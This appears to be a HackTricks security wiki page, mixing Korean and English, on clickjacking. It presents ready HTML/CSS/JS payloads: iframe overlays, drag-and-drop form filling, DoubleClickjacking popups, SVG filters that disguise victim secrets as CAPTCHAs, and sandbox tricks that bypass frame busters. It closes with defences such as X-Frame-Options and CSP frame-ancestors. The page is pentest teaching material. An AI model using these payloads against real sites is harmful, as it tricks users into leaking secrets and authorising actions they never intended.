Clickjacking

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Clickjacking이란

Clickjacking 공격에서 사용자는 웹페이지 상의 보이지 않는 또는 다른 요소로 위장된 요소클릭하도록 속임을 당합니다. 이러한 조작은 악성코드 다운로드, 악성 웹페이지로의 리다이렉션, 자격증명 또는 민감한 정보 제공, 금전 이체, 제품의 온라인 구매 등 사용자가 의도하지 않은 결과를 초래할 수 있습니다.

양식 미리 채우기 트릭

때때로 페이지를 로드할 때 GET 파라미터를 사용해 양식 필드의 값을 채울 수 있는 경우가 있습니다. 공격자는 이 동작을 악용하여 양식을 임의의 데이터로 채우고 clickjacking payload를 전송해 사용자가 Submit 버튼을 누르도록 유도할 수 있습니다.

Drag&Drop으로 양식 채우기

사용자에게 양식을 작성하게 해야 하지만 특정 정보(예: 알고 있는 이메일 또는 특정 비밀번호)를 직접 입력해 달라고 요청하고 싶지 않은 경우, 사용자가 Drag&Drop 하도록 유도하여 제어된 데이터가 입력되게 할 수 있습니다. this example처럼.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Multistep Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

만약 특정 요소를 클릭해야 XSS attack that requires a user to click가 발생하고 페이지가 vulnerable to clickjacking 상태라면, 이를 악용해 사용자가 버튼/링크를 클릭하도록 속일 수 있습니다.
Example:
계정의 일부 개인 정보(오직 당신만 설정하고 읽을 수 있는 세부사항)에서 self XSS를 발견했습니다. 이 세부사항을 설정하는 form 페이지는 vulnerable to Clickjacking 상태이며, GET 파라미터로 formprepopulate할 수 있습니다.
공격자는 해당 페이지에 Clickjacking 공격을 준비해 formXSS payloadprepopulating하고 user를 속여 Submit하게 만들 수 있습니다. 따라서 when the form is submitted 값들이 변경되면 user will execute the XSS 합니다.

DoubleClickjacking

Firstly explained in this post, 이 기법은 피해자에게 특정 위치에 배치된 커스텀 페이지의 버튼을 더블클릭하게 유도하고, mousedown과 onclick 이벤트 사이의 타이밍 차이를 이용해 더블클릭 도중 피해자 페이지를 로드하여 victim actually clicks a legit button in the victim page 하도록 만듭니다.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

이 기법은 모든 clickjacking 방어를 우회해 피해자가 피해자 페이지의 한 지점을 클릭하도록 속일 수 있습니다. 따라서 공격자는 한 번의 클릭으로 수행할 수 있는 민감한 작업(sensitive actions), 예를 들어 OAuth 프롬프트에서 권한을 수락하는 동작을 찾아야 합니다.

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. 공격자 페이지는 mousemove를 추적하고 window.open으로 연 작은 팝업을 사용해, 팝업이 same-origin인 동안 moveTo()로 이동시킵니다; 정렬되면 target origin으로 다시 리디렉션하여 다음 클릭이 실제 버튼에 닿도록 합니다. cross‑origin moveTo()가 차단되기 때문에 팝업은 재배치 목적으로 잠시 공격자 오리진으로 네비게이션한 뒤 location/history.back()으로 타깃으로 복귀합니다. 클릭 시점에 타깃을 전면에 보이게 하려면, 공격자는 URL을 변경하지 않고 팝업을 전면으로 가져오기 위해 with the same window name으로 팝업을 다시 열 수 있습니다.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

최신 Chromium/WebKit/Gecko 빌드에서는 CSS filter:url(#id)를 cross-origin iframes에 적용할 수 있습니다. iframe의 래스터화된 픽셀은 SVG 필터 그래프에 SourceGraphic으로 노출되므로, feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology 등과 같은 프리미티브로 공격자가 DOM을 건드리지 않아도 피해자 UI를 임의로 왜곡할 수 있습니다. 간단한 Liquid-Glass 스타일 필터는 다음과 같습니다:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • 유용한 기본 요소: feImage는 공격자 비트맵을 로드합니다(예: 오버레이, 변위 맵); feFlood는 고정 색상 매트를 생성합니다; feOffset/feGaussianBlur는 하이라이트를 정교하게 다듬습니다; feDisplacementMap은 텍스트를 굴절/왜곡합니다; feComposite operator="arithmetic"는 임의의 채널별 연산을 구현합니다 (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), 이는 대비 향상, 마스킹, AND/OR 연산에 충분합니다; feTile은 픽셀 프로브를 자르고 복제합니다; feMorphology는 스트로크를 확장/축소합니다; feColorMatrix는 정밀한 마스크를 만들기 위해 휘도(luma)를 알파로 이동시킵니다.

비밀값을 CAPTCHA 스타일 프롬프트로 왜곡하기

만약 프레임에 삽입 가능한 엔드포인트가 비밀값 (tokens, reset codes, API keys)을 렌더링한다면, 공격자는 이를 CAPTCHA처럼 보이게 왜곡하여 수동 전사(수기 입력)를 강요할 수 있습니다:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

피해자 입력 재구성

필터는 사용자 키 입력을 유지하면서 placeholder/validation 텍스트를 정교하게 삭제할 수 있다. 한 가지 워크플로:

  1. feComposite operator="arithmetic" k2≈4는 밝기를 증폭시켜 회색 보조 텍스트(grey helper text)가 흰색으로 포화되게 한다.
  2. feTile는 작업 영역을 입력 사각형으로 제한한다.
  3. feMorphology operator="erode"는 피해자가 입력한 어두운 글리프를 굵게 만들고 result="thick"로 저장한다.
  4. feFlood는 흰색 플레이트를 만들고, thickfeBlend mode="difference"를 수행하며, 두 번째 feComposite k2≈100는 그것을 뚜렷한 명도 매트로 바꾼다.
  5. feColorMatrix는 그 명도를 알파로 이동시키고, feComposite in="SourceGraphic" operator="in"은 사용자 입력 글리프만 남긴다.
  6. 또 다른 feBlend in2="white"와 얇은 크롭을 추가하면 깔끔한 텍스트박스가 생성되며, 이후 공격자는 자신의 HTML 레이블(예: “Enter your email”)을 오버레이한다. 숨겨진 iframe은 여전히 피해자 출처의 비밀번호 정책을 강제한다.

Safari는 feTile에서 문제가 있다; 동일한 효과는 WebKit-only payload에 대해 feFlood + feColorMatrix + feComposite로 구성된 공간 매트(spatial mattes)로 재현할 수 있다.

픽셀 프로브, 로직 및 상태 머신

feTile로 2–4 px 영역을 크롭하고 그것을 뷰포트의 100%로 타일링함으로써, 공격자는 샘플된 색을 전체 프레임 텍스처로 변환하여 임계처리해 불리언 마스크로 만들 수 있다:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

따라서 공격자는 JavaScript 없이도 UI 상태를 읽을 수 있습니다. 모달 워크플로에서의 예시 불리언들:

  • D (dialog visible): 어두워진 구석을 검사해 흰색과 비교합니다.
  • L (dialog loaded): 버튼이 준비되면 버튼이 나타나는 좌표를 검사합니다.
  • C (checkbox checked): 체크박스 픽셀을 활성 파랑 #0B57D0와 비교합니다.
  • R (red success/failure banner): 배너 사각형 내부에서 feMorphology와 빨간색 임계값을 사용합니다.

각 감지된 상태는 feImage xlink:href="data:..."로 임베드된 서로 다른 오버레이 비트맵을 게이팅합니다. 그런 비트맵을 D, L, C, R로 마스킹하면 오버레이가 실제 다이얼로그와 동기화되어, DOM을 노출하지 않고도 피해자를 다단계 워크플로(비밀번호 재설정, 승인, 파괴적 확인 등)를 통해 안내할 수 있습니다.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a “sandboxed” widget can confuse users or trigger password managers to offer stored credentials.

브라우저 확장: DOM-based autofill clickjacking

Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Clickjacking 완화 전략

Client-Side Defenses

Scripts executed on the client side can perform actions to prevent Clickjacking:

  • 애플리케이션 윈도우가 main 또는 top 창인지 확인합니다.
  • 모든 프레임을 보이게 만듭니다.
  • 보이지 않는 프레임에서의 클릭을 차단합니다.
  • 잠재적 Clickjacking 시도를 탐지하고 사용자에게 경고합니다.

그러나 이러한 frame-busting 스크립트는 우회될 수 있습니다:

  • Browsers’ Security Settings: 일부 브라우저는 보안 설정이나 JavaScript 미지원으로 인해 이러한 스크립트를 차단할 수 있습니다.
  • HTML5 iframe sandbox Attribute: 공격자는 allow-forms 또는 allow-scripts 값을 가진 sandbox 속성을 설정하고 allow-top-navigation을 제외함으로써 frame buster 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 top 창인지 확인하는 것을 방지합니다, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts 값은 최상위 네비게이션을 비활성화하면서 iframe 내부에서 동작을 허용합니다. 대상 사이트의 의도된 기능을 보장하려면 공격 유형에 따라 allow-same-originallow-modals와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 어떤 권한을 허용해야 하는지 안내할 수 있습니다.

서버 측 방어

X-Frame-Options

X-Frame-Options HTTP response header는 브라우저에 <frame> 또는 <iframe>에서 페이지를 렌더링하는 것이 적법한지 알려주어 Clickjacking을 방지하는 데 도움을 줍니다:

  • X-Frame-Options: deny - 어떤 도메인도 콘텐츠를 프레이밍할 수 없습니다.
  • X-Frame-Options: sameorigin - 현재 사이트만 콘텐츠를 프레이밍할 수 있습니다.
  • X-Frame-Options: allow-from https://trusted.com - 지정된 ’uri’만 페이지를 프레이밍할 수 있습니다.
  • 제한 사항에 유의: 브라우저가 이 지시문을 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP의 frame-ancestors 지시문을 선호합니다.

Content Security Policy (CSP)의 frame-ancestors 지시문

frame-ancestors directive in CSP는 Clickjacking 보호를 위한 권장 방법입니다:

  • frame-ancestors 'none' - X-Frame-Options: deny와 유사합니다.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin와 유사합니다.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from와 유사합니다.

예를 들어, 다음 CSP는 동일 도메인에서의 프레이밍만 허용합니다:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP)와 child-srcframe-src

**Content Security Policy (CSP)**는 브라우저가 어떤 출처에서 콘텐츠를 로드하도록 허용할지 지정하여 Clickjacking 및 기타 코드 인젝션 공격을 방지하는 보안 수단입니다.

frame-src Directive

  • Defines valid sources for frames.
  • More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self)와 https://trusted-website.com의 프레임을 허용합니다.

child-src 디렉티브

  • CSP level 2에서 웹 워커와 프레임의 유효한 소스를 설정하기 위해 도입되었습니다.
  • frame-src 및 worker-src의 폴백으로 동작합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.

사용 시 참고:

  • 사용 중단: child-src는 frame-src와 worker-src로 대체되고 있습니다.
  • 폴백 동작: frame-src가 없으면 child-src가 프레임의 폴백으로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
  • 엄격한 소스 정의: 악용을 방지하려면 지시문에 신뢰할 수 있는 출처만 포함하세요.

JavaScript Frame-Breaking Scripts

완벽한 해결책은 아니지만, JavaScript 기반 frame-busting scripts를 사용하여 웹 페이지가 프레임으로 포함되는 것을 방지할 수 있습니다. 예:

if (top !== self) {
top.location = self.location
}

Anti-CSRF Tokens 적용

  • Token Validation: 웹 애플리케이션에서 anti-CSRF tokens를 사용하여 상태 변경 요청이 사용자의 의도에 따른 것이며 Clickjacked 페이지를 통해 발생한 것이 아님을 확인하세요.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기